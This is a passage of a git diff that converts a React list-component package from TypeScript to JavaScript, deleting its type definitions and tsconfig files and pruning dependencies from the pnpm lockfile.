ReactListResponse | null, - error: null, - count: 0, - selection: [] as ReactListItemId[], - pagination: { - page: 1, - perPage: 25, - hasMore: false, - }, - loader: { - isLoading: false, - initialLoading: true, - }, - sort: { - sortBy: "", - sortOrder: "desc", - }, - hasActiveFilters: false, - search: "", - filters: {}, - attrs: [], - attrSettings: {}, - isEmpty: true, - - // These actions are replaced by `ReactList` once it mounts. - setPage: noop, - setPerPage: noop, - setSearch: noop, - setSort: noop, - loadMore: noop, - clearFilters: noop, - refresh: noop, - setFilters: noop, - updateAttr: noop, - updateItemById: noop, - setSelection: noop, - }); - - const value: ReactListContextValue = useMemo( - () => ({ - requestHandler: requestHandler as ReactListRequestHandler, - stateManager: stateManager as ReactListStateManager, - listState, - setListState, - }), - [requestHandler, stateManager, listState] - ); - - return {children}; -}; - -export const useListContext = (): ReactListContextValue => { - const context = useContext(ListContext); - if (!context) { - throw new Error("useListContext must be used within a ListProvider"); - } - return context; -}; diff --git a/packages/react-list/src/index.ts b/packages/react-list/src/index.js similarity index 64% rename from packages/react-list/src/index.ts rename to packages/react-list/src/index.js index 65eca60..d132e3f 100644 --- a/packages/react-list/src/index.ts +++ b/packages/react-list/src/index.js @@ -13,25 +13,3 @@ export { ReactListRefresh } from "./components/refresh"; export { ReactListSearch } from "./components/search"; export { ReactListSummary } from "./components/summary"; export { ReactListProvider } from "./context/list-provider"; - -export type { - ReactListAttrSettings, - ReactListContext, - ReactListContextValue, - ReactListFilters, - ReactListAttribute, - ReactListProps, - ReactListPaginationMode, - ReactListItem, - ReactListItemId, - ReactListListState, - ReactListLoaderState, - ReactListPaginationState, - ReactListProviderConfig, - ReactListRequestArgs, - ReactListRequestHandler, - ReactListResponse, - ReactListSort, - ReactListSortOrder, - ReactListStateManager, -} from "./types"; diff --git a/packages/react-list/src/types/index.ts b/packages/react-list/src/types/index.ts deleted file mode 100644 index d27aaf5..0000000 --- a/packages/react-list/src/types/index.ts +++ /dev/null @@ -1,22 +0,0 @@ -export type { - ReactListAttrSettings, - ReactListContext, - ReactListContextValue, - ReactListItem, - ReactListItemId, - ReactListListState, - ReactListLoaderState, - ReactListPaginationState, - ReactListProviderConfig, - ReactListRequestArgs, - ReactListRequestHandler, - ReactListResponse, - ReactListSort, - ReactListSortOrder, - ReactListStateManager, - ReactListFilters, - ReactListAttribute, -} from './list-provider.ts'; - -export type { ReactListProps, ReactListPaginationMode } from './react-list'; - diff --git a/packages/react-list/src/types/list-provider.ts b/packages/react-list/src/types/list-provider.ts deleted file mode 100644 index 795ddbd..0000000 --- a/packages/react-list/src/types/list-provider.ts +++ /dev/null @@ -1,156 +0,0 @@ -import type * as React from 'react'; - -export type ReactListItemId = string | number; - -export type ReactListItem = Record & { - id?: ReactListItemId; -}; - -export type ReactListFilters = Record; - -export type ReactListSortOrder = '' | 'asc' | 'desc' | (string & {}); - -export type ReactListAttrSettings = Record< - string, - { - visible: boolean; - } ->; - -export type ReactListRequestArgs< - TFilters extends ReactListFilters = ReactListFilters, -> = { - endpoint: string; - version: number; - meta: Record; - page: number; - perPage: number; - search: string; - sortBy: string; - sortOrder: ReactListSortOrder; - filters: TFilters; -} & Record; - -export type ReactListResponse = { - items: TItem[]; - count: number; - meta?: unknown; - [key: string]: unknown; -}; - -export type ReactListRequestHandler< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = (args: ReactListRequestArgs) => Promise>; - -export type ReactListPersistedState< - TFilters extends ReactListFilters = ReactListFilters, -> = { - page?: number; - perPage?: number; - sortBy?: string; - sortOrder?: ReactListSortOrder; - search?: string; - attrSettings?: ReactListAttrSettings; - filters?: TFilters; -}; - -export type ReactListContext = { - endpoint: string; - version: number; - meta: Record; - search: string; - page: number; - perPage: number; - sortBy: string; - sortOrder: ReactListSortOrder; - filters: TFilters; - attrSettings: ReactListAttrSettings; - isRefresh: boolean; -}; - -export type ReactListStateManager< - TFilters extends ReactListFilters = ReactListFilters, -> = { - init?: (context: ReactListContext) => void; - get?: (context: ReactListContext) => ReactListPersistedState | null; - set?: (context: ReactListContext) => void; -}; - -export type ReactListProviderConfig< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - requestHandler: ReactListRequestHandler; - stateManager?: ReactListStateManager; -}; - -export type ReactListPaginationState = { - page: number; - perPage: number; - hasMore: boolean; -}; - -export type ReactListLoaderState = { - isLoading: boolean; - initialLoading: boolean; -}; - -export type ReactListSort = { - sortBy: string; - sortOrder: ReactListSortOrder; -}; - -export type ReactListAttribute = { - name: string; - label?: string; -}; - -export type ReactListActions< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - setPage: (value: number, addContext?: Record) => void; - setPerPage: (value: number) => void; - setSearch: (value: string) => void; - setSort: (args: { by: string; order: ReactListSortOrder }) => void; - loadMore: () => void; - clearFilters: () => void; - refresh: (addContext?: Record) => void; - setFilters: (filters: TFilters) => void; - updateAttr: (attrName: string, settingKey: string, value: unknown) => void; - updateItemById: (item: Partial, id: ReactListItemId) => void; - setSelection: (selection: ReactListItemId[]) => void; -}; - -export type ReactListListState< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - data: TItem[]; - response: ReactListResponse | null; - error: Error | null; - count: number; - selection: ReactListItemId[]; - pagination: ReactListPaginationState; - loader: ReactListLoaderState; - sort: ReactListSort; - hasActiveFilters: boolean; - search: string; - filters: TFilters; - attrs: ReactListAttribute[]; - attrSettings: ReactListAttrSettings; - isEmpty: boolean; - // Actions are appended by the main `ReactList` component. -} & ReactListActions; - -export type ReactListContextValue< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - requestHandler: ReactListRequestHandler; - stateManager: ReactListStateManager; - listState: ReactListListState; - setListState: React.Dispatch>>; -}; - diff --git a/packages/react-list/src/types/react-list.ts b/packages/react-list/src/types/react-list.ts deleted file mode 100644 index 4ec6d6c..0000000 --- a/packages/react-list/src/types/react-list.ts +++ /dev/null @@ -1,39 +0,0 @@ -import type { ReactNode } from 'react'; - -import type { - ReactListAttribute, - ReactListFilters, - ReactListItem, - ReactListListState, - ReactListResponse, - ReactListSortOrder, -} from './list-provider'; - -export type ReactListPaginationMode = 'pagination' | 'loadMore'; - -export type ReactListProps< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - initialItems?: TItem[]; - children?: - | ReactNode - | ((scope: ReactListListState) => ReactNode); - - endpoint: string; - page?: number; - perPage?: number; - sortBy?: string; - sortOrder?: ReactListSortOrder; - count?: number; - search?: string; - filters?: TFilters; - attrs?: Array; - version?: number; - paginationMode?: ReactListPaginationMode; - meta?: Record; - onResponse?: (res: ReactListResponse) => void; - afterPageChange?: (res: ReactListResponse) => void; - afterLoadMore?: (res: ReactListResponse) => void; -}; - diff --git a/packages/react-list/src/utils.ts b/packages/react-list/src/utils.js similarity index 100% rename from packages/react-list/src/utils.ts rename to packages/react-list/src/utils.js diff --git a/packages/react-list/tsconfig.build.json b/packages/react-list/tsconfig.build.json deleted file mode 100644 index b96c8ea..0000000 --- a/packages/react-list/tsconfig.build.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2022", - "module": "ESNext", - "moduleResolution": "Bundler", - "jsx": "react-jsx", - "allowJs": true, - "checkJs": false, - "declaration": true, - "emitDeclarationOnly": true, - "declarationMap": true, - "outDir": "dist/types", - "strict": false, - "skipLibCheck": true - }, - "include": ["src/**/*"], - "exclude": ["dist", "node_modules"] -} diff --git a/packages/react-list/tsconfig.json b/packages/react-list/tsconfig.json deleted file mode 100644 index 5c29504..0000000 --- a/packages/react-list/tsconfig.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "extends": "./tsconfig.build.json", - "compilerOptions": { - "noEmit": true - } -} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index a620d7b..0ee8495 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -12,7 +12,7 @@ importers: devDependencies: vitepress: specifier: ^2.0.0-alpha.15 - version: 2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3) + version: 2.0.0-alpha.15(axios@1.11.0)(postcss@8.5.6) apps/playground: dependencies: @@ -35,9 +35,6 @@ importers: '@eslint/js': specifier: ^9.22.0 version: 9.25.1 - '@tailwindcss/postcss': - specifier: ^4.2.2 - version: 4.2.2 '@types/react': specifier: ^19.0.10 version: 19.1.2 @@ -46,74 +43,22 @@ importers: version: 19.1.2(@types/react@19.1.2) '@vitejs/plugin-react': specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) - autoprefixer: - specifier: ^10.4.27 - version: 10.4.27(postcss@8.5.8) + version: 4.4.1(vite@6.3.3) eslint: specifier: ^9.22.0 - version: 9.25.1(jiti@2.6.1) + version: 9.25.1 eslint-plugin-react-hooks: specifier: ^5.2.0 - version: 5.2.0(eslint@9.25.1(jiti@2.6.1)) + version: 5.2.0(eslint@9.25.1) eslint-plugin-react-refresh: specifier: ^0.4.19 - version: 0.4.20(eslint@9.25.1(jiti@2.6.1)) + version: 0.4.20(eslint@9.25.1) globals: specifier: ^16.0.0 version: 16.0.0 - postcss: - specifier: ^8.5.8 - version: 8.5.8 - tailwindcss: - specifier: ^4.2.2 - version: 4.2.2 vite: specifier: ^6.3.1 - version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) - - apps/playground-typescript: - dependencies: - '@7span/react-list': - specifier: workspace:* - version: link:../../packages/react-list - '@iconify/react': - specifier: ^5.2.1 - version: 5.2.1(react@19.1.0) - react: - specifier: ^19.0.0 - version: 19.1.0 - react-dom: - specifier: ^19.0.0 - version: 19.1.0(react@19.1.0) - devDependencies: - '@tailwindcss/postcss': - specifier: ^4.2.2 - version: 4.2.2 - '@types/react': - specifier: ^19.0.10 - version: 19.2.14 - '@types/react-dom': - specifier: ^19.0.4 - version: 19.2.3(@types/react@19.2.14) - '@vitejs/plugin-react': - specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) - autoprefixer: - specifier: ^10.4.27 - version: 10.4.27(postcss@8.5.8) - postcss: - specifier: ^8.5.8 - version: 8.5.8 - tailwindcss: - specifier: ^4.2.2 - version: 4.2.2 - typescript: - specifier: ^5.9.3 - version: 5.9.3 - vite: - specifier: ^6.3.1 - version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + version: 6.3.3 packages/react-list: dependencies: @@ -124,28 +69,15 @@ importers: specifier: ^18.2.0 || ^19.0.0 version: 19.1.0(react@19.1.0) devDependencies: - '@types/react': - specifier: ^19.1.13 - version: 19.2.14 - '@types/react-dom': - specifier: ^19.1.9 - version: 19.2.3(@types/react@19.2.14) '@vitejs/plugin-react': specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) - typescript: - specifier: ^5.9.3 - version: 5.9.3 + version: 4.4.1(vite@6.3.3) vite: specifier: ^6.3.1 - version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + version: 6.3.3 packages: - '@alloc/quick-lru@5.2.0': - resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} - engines: {node: '>=10'} - '@ampproject/remapping@2.3.0': resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} engines: {node: '>=6.0.0'} @@ -475,9 +407,6 @@ packages: resolution: {integrity: sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==} engines: {node: '>=6.0.0'} - '@jridgewell/remapping@2.3.5': - resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} - '@jridgewell/resolve-uri@3.1.2': resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} engines: {node: '>=6.0.0'} @@ -486,6 +415,9 @@ packages: resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==} engines: {node: '>=6.0.0'} + '@jridgewell/sourcemap-codec@1.5.0': + resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==} + '@jridgewell/sourcemap-codec@1.5.5': resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} @@ -729,94 +661,6 @@ packages: '@shikijs/vscode-textmate@10.0.2': resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} - '@tailwindcss/node@4.2.2': - resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} - - '@tailwindcss/oxide-android-arm64@4.2.2': - resolution: {integrity: sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [android] - - '@tailwindcss/oxide-darwin-arm64@4.2.2': - resolution: {integrity: sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [darwin] - - '@tailwindcss/oxide-darwin-x64@4.2.2': - resolution: {integrity: sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==} - engines: {node: '>= 20'} - cpu: [x64] - os: [darwin] - - '@tailwindcss/oxide-freebsd-x64@4.2.2': - resolution: {integrity: sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==} - engines: {node: '>= 20'} - cpu: [x64] - os: [freebsd] - - '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': - resolution: {integrity: sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==} - engines: {node: '>= 20'} - cpu: [arm] - os: [linux] - - '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': - resolution: {integrity: sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [linux] - - '@tailwindcss/oxide-linux-arm64-musl@4.2.2': - resolution: {integrity: sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [linux] - - '@tailwindcss/oxide-linux-x64-gnu@4.2.2': - resolution: {integrity: sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==} - engines: {node: '>= 20'} - cpu: [x64] - os: [linux] - - '@tailwindcss/oxide-linux-x64-musl@4.2.2': - resolution: {integrity: sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==} - engines: {node: '>= 20'} - cpu: [x64] - os: [linux] - - '@tailwindcss/oxide-wasm32-wasi@4.2.2': - resolution: {integrity: sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==} - engines: {node: '>=14.0.0'} - cpu: [wasm32] - bundledDependencies: - - '@napi-rs/wasm-runtime' - - '@emnapi/core' - - '@emnapi/runtime' - - '@tybys/wasm-util' - - '@emnapi/wasi-threads' - - tslib - - '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': - resolution: {integrity: sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [win32] - - '@tailwindcss/oxide-win32-x64-msvc@4.2.2': - resolution: {integrity: sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==} - engines: {node: '>= 20'} - cpu: [x64] - os: [win32] - - '@tailwindcss/oxide@4.2.2': - resolution: {integrity: sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==} - engines: {node: '>= 20'} - - '@tailwindcss/postcss@4.2.2': - resolution: {integrity: sha512-n4goKQbW8RVXIbNKRB/45LzyUqN451deQK0nzIeauVEqjlI49slUlgKYJM2QyUzap/PcpnS7kzSUmPb1sCRvYQ==} - '@types/babel__core@7.20.5': resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} @@ -858,17 +702,9 @@ packages: peerDependencies: '@types/react': ^19.0.0 - '@types/react-dom@19.2.3': - resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} - peerDependencies: - '@types/react': ^19.2.0 - '@types/react@19.1.2': resolution: {integrity: sha512-oxLPMytKchWGbnQM9O7D67uPa9paTNxO7jVoNMXgkkErULBPhPARCfkKL9ytcIJJRGjbsVwW4ugJzyFFvm/Tiw==} - '@types/react@19.2.14': - resolution: {integrity: sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==} - '@types/unist@3.0.3': resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} @@ -1007,24 +843,12 @@ packages: asynckit@0.4.0: resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} - autoprefixer@10.4.27: - resolution: {integrity: sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==} - engines: {node: ^10 || ^12 || >=14} - hasBin: true - peerDependencies: - postcss: ^8.1.0 - axios@1.11.0: resolution: {integrity: sha512-1Lx3WLFQWm3ooKDYZD1eXmoGO9fxYQjrycfHFC8P0sCfQVXyROp0p9PFWBehewBOdCwHc+f/b8I0fMto5eSfwA==} balanced-match@1.0.2: resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} - baseline-browser-mapping@2.10.9: - resolution: {integrity: sha512-OZd0e2mU11ClX8+IdXe3r0dbqMEznRiT4TfbhYIbcRPZkqJ7Qwer8ij3GZAmLsRKa+II9V1v5czCkvmHH3XZBg==} - engines: {node: '>=6.0.0'} - hasBin: true - birpc@2.9.0: resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} @@ -1036,11 +860,6 @@ packages: engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} hasBin: true - browserslist@4.28.1: - resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} - engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} - hasBin: true - call-bind-apply-helpers@1.0.2: resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} engines: {node: '>= 0.4'} @@ -1049,8 +868,8 @@ packages: resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} engines: {node: '>=6'} - caniuse-lite@1.0.30001780: - resolution: {integrity: sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ==} + caniuse-lite@1.0.30001715: + resolution: {integrity: sha512-7ptkFGMm2OAOgvZpwgA4yjQ5SQbrNVGdRjzH0pBdy1Fasvcr+KAeECmbCAECzTuDuoX0FCY8KzUxjf9+9kfZEw==} ccount@2.0.1: resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} @@ -1096,9 +915,6 @@ packages: csstype@3.1.3: resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} - csstype@3.2.3: - resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} - debug@4.4.0: resolution: {integrity: sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==} engines: {node: '>=6.0'} @@ -1119,10 +935,6 @@ packages: resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} engines: {node: '>=6'} - detect-libc@2.1.2: - resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} - engines: {node: '>=8'} - devlop@1.1.0: resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} @@ -1133,13 +945,6 @@ packages: electron-to-chromium@1.5.141: resolution: {integrity: sha512-qS+qH9oqVYc1ooubTiB9l904WVyM6qNYxtOEEGReoZXw3xlqeYdFr5GclNzbkAufWgwWLEPoDi3d9MoRwwIjGw==} - electron-to-chromium@1.5.321: - resolution: {integrity: sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==} - - enhanced-resolve@5.20.1: - resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} - engines: {node: '>=10.13.0'} - entities@4.5.0: resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} engines: {node: '>=0.12'} @@ -1286,9 +1091,6 @@ packages: resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==} engines: {node: '>= 6'} - fraction.js@5.3.4: - resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} - fsevents@2.3.3: resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} @@ -1329,9 +1131,6 @@ packages: resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} engines: {node: '>= 0.4'} - graceful-fs@4.2.11: - resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} - has-flag@4.0.0: resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} engines: {node: '>=8'} @@ -1390,10 +1189,6 @@ packages: isexe@2.0.0: resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} - jiti@2.6.1: - resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} - hasBin: true - js-tokens@4.0.0: resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} @@ -1427,76 +1222,6 @@ packages: resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} engines: {node: '>= 0.8.0'} - lightningcss-android-arm64@1.32.0: - resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [android] - - lightningcss-darwin-arm64@1.32.0: - resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [darwin] - - lightningcss-darwin-x64@1.32.0: - resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [darwin] - - lightningcss-freebsd-x64@1.32.0: - resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [freebsd] - - lightningcss-linux-arm-gnueabihf@1.32.0: - resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} - engines: {node: '>= 12.0.0'} - cpu: [arm] - os: [linux] - - lightningcss-linux-arm64-gnu@1.32.0: - resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [linux] - - lightningcss-linux-arm64-musl@1.32.0: - resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [linux] - - lightningcss-linux-x64-gnu@1.32.0: - resolution: {integrity: 